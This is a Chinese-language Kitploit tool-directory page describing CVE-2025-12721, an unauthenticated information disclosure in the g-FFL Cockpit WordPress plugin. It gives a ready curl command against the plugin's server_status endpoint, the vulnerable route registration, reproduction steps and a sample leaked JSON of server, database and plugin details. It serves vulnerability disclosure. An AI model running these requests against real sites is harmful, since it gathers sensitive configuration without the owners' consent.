Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-12721 — g-FFL Cockpit <= 1.7.1 - 缺失授权导致未认证信息泄露 | Kitploit
工具/GitHubGitHub/d0n601/cve-2025-12721
漏洞分析漏洞利用信息收集Web安全渗透测试错误配置
GitHubd0n601/cve-2025-12721

CVE-2025-12721

g-FFL Cockpit <= 1.7.1 - 缺失授权导致未认证信息泄露

查看仓库
9个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

g-FFL Cockpit <= 1.7.1 - 未经验证的信息泄露

g-FFL Cockpit 插件未在 server_status REST API 端点上实施适当的授权检查,允许未经身份验证的用户通过暴露的公共端点访问敏感的服务器配置信息、PHP 设置、数据库详情、WordPress 安装元数据和活动插件信息。

快速利用

root@kitploit:~
TARGET_SITE="http://example.com"
curl -X GET $TARGET_SITE/wp-json/fflcockpit/v1/server_status | jq

详情

handle_server_status() 函数位于 includes/class-sync-endpoint.php 中,该函数检索并暴露全面的服务器信息,无需任何身份验证或能力检查。该端点注册时使用了 permission_callback => '__return_true',使其对任何未经身份验证的访问者完全可访问。

位于 class-sync-endpoint.php 中:

root@kitploit:~
88:        register_rest_route('fflcockpit/v1', '/server_status', [
89:            'methods' => 'GET',
90:            'callback' => [__CLASS__, 'handle_server_status'],
91:            'permission_callback' => '__return_true', // 公共端点
92:        ]);

handle_server_status() 函数暴露:

  • 服务器信息:PHP 版本、操作系统、服务器软件、架构、服务器负载
  • 内存使用情况:当前内存使用量、峰值内存、内存限制、使用百分比
  • PHP 配置:内存限制、执行时间限制、上传限制、最大输入变量、OPcache 状态
  • PHP 扩展:已加载扩展状态(curl、gd、imagick、mbstring、mysql、zip、xml、json、openssl、fileinfo)
  • 数据库信息:MySQL 版本、数据库字符集/排序规则、MySQL 配置变量、数据库大小、查询计数
  • 磁盘空间:可用和总磁盘空间、使用百分比
  • WordPress 信息:WordPress 版本、多站点状态、调试模式状态、活动插件列表(含版本和作者)
  • WooCommerce 信息:安装状态、版本、API 设置、产品/订单计数、会话处理程序配置
  • 性能指标:内存阈值、执行时间检查、OPcache 状态、磁盘空间警告、MySQL 配置分析

来自 class-sync-endpoint.php 的易受攻击代码片段:

root@kitploit:~
1443:                'php_version' => phpversion(),
1444:                'operating_system' => defined('PHP_OS') ? PHP_OS : 'Unknown',
1445:            ];
1446:            
1447:            if (isset($_SERVER['SERVER_SOFTWARE'])) {
1448:                $server_info['server_software'] = $_SERVER['SERVER_SOFTWARE'];
1449:            }

class-sync-endpoint.php 中的额外披露:

root@kitploit:~
1645:                $active_plugins_list = get_option('active_plugins', []);
1646:                $wp_info['active_plugins_count'] = count($active_plugins_list);
1647:                
1648:                if (!function_exists('get_plugins')) {
1649:                    require_once ABSPATH . 'wp-admin/includes/plugin.php';
1650:                }
1651:                $all_plugins = get_plugins();
1652:                
1653:                $plugin_details = [];
1654:                foreach ($active_plugins_list as $plugin_path) {
1655:                    if (isset($all_plugins[$plugin_path])) {
1656:                        $plugin_info = $all_plugins[$plugin_path];
1657:                        $plugin_details[] = [
1658:                            'name' => $plugin_info['Name'] ?? 'Unknown',
1659:                            'version' => $plugin_info['Version'] ?? 'Unknown',
1660:                            'author' => isset($plugin_info['Author']) ? strip_tags($plugin_info['Author']) : 'Unknown',
1661:                            'description' => isset($plugin_info['Description']) ? wp_trim_words(strip_tags($plugin_info['Description']), 20) : '',
1662:                            'path' => $plugin_path,
1663:                            'network' => $plugin_info['Network'] ?? false,
1664:                        ];
1665:                    }
1666:                }

手动复现

注意: g-FFL Cockpit 需要 WooCommerce

  1. 导航到安装了 g-FFL Cockpit 插件的目标 WordPress 站点。

  2. 执行以下 curl 命令以检索服务器状态信息:

root@kitploit:~
curl -X GET http://example.com/wp-json/fflcockpit/v1/server_status
  1. 你将收到一个包含全面服务器配置、PHP 设置、数据库信息、WordPress 和 WooCommerce 详细信息以及活动插件完整列表的 JSON 响应:
root@kitploit:~
{
  "plugin": {
    "name": "FFL Cockpit",
    "version": "1.7.1"
  },
  "timestamp": "2024-01-15T12:34:56Z",
  "server": {
    "php_version": "8.1.27",
    "operating_system": "Linux",
    "server_software": "Apache/2.4.57",
    "architecture": "x86_64",
    "server_load": [0.52, 0.48, 0.45]
  },
  "memory_usage": {
    "current": "45.23 MB",
    "current_bytes": 47415296,
    "peak": "52.18 MB",
    "peak_bytes": 54722560,
    "limit": "256 MB",
    "limit_bytes": 268435456,
    "usage_percentage": 17.67
  },
  "php_config": {
    "memory_limit": "256M",
    "max_execution_time": "300",
    "max_input_vars": "3000",
    "post_max_size": "64M",
    "upload_max_filesize": "64M",
    "max_file_uploads": "20",
    "opcache_enabled": true,
    "opcache_memory_consumption": 67108864,
    "opcache_hit_rate": 95.23
  },
  "php_extensions": {
    "curl": true,
    "gd": true,
    "imagick": true,
    "mbstring": true,
    "mysql": true,
    "zip": true,
    "xml": true,
    "json": true,
    "openssl": true,
    "fileinfo": true
  },
  "database": {
    "mysql_version": "8.0.35",
    "charset": "utf8mb4",
    "collate": "utf8mb4_unicode_ci",
    "queries_this_request": 42,
    "mysql_config": {
      "max_connections": "151",
      "max_allowed_packet": "67108864",
      "innodb_buffer_pool_size": "134217728"
    },
    "database_size": 125.43
  },
  "disk_space": {
    "free": "15.23 GB",
    "free_bytes": 16357785600,
    "total": "50.00 GB",
    "total_bytes": 53687091200,
    "used_percentage": 69.51
  },
  "wordpress": {
    "version": "6.4.2",
    "multisite": false,
    "debug_enabled": false,
    "cache_enabled": false,
    "active_plugins_count": 12,
    "active_plugins": [
      {
        "name": "g-FFL Cockpit",
        "version": "1.7.1",
        "author": "Garidium LLC",
        "description": "g-FFL Cockpit",
        "path": "g-ffl-cockpit/g-ffl-cockpit.php",
        "network": false
      }
    ]
  },
  "woocommerce": {
    "is_installed": true,
    "version": "8.5.2",
    "api_enabled": true,
    "product_count": 1250,
    "order_count": 342
  }
}
下载工具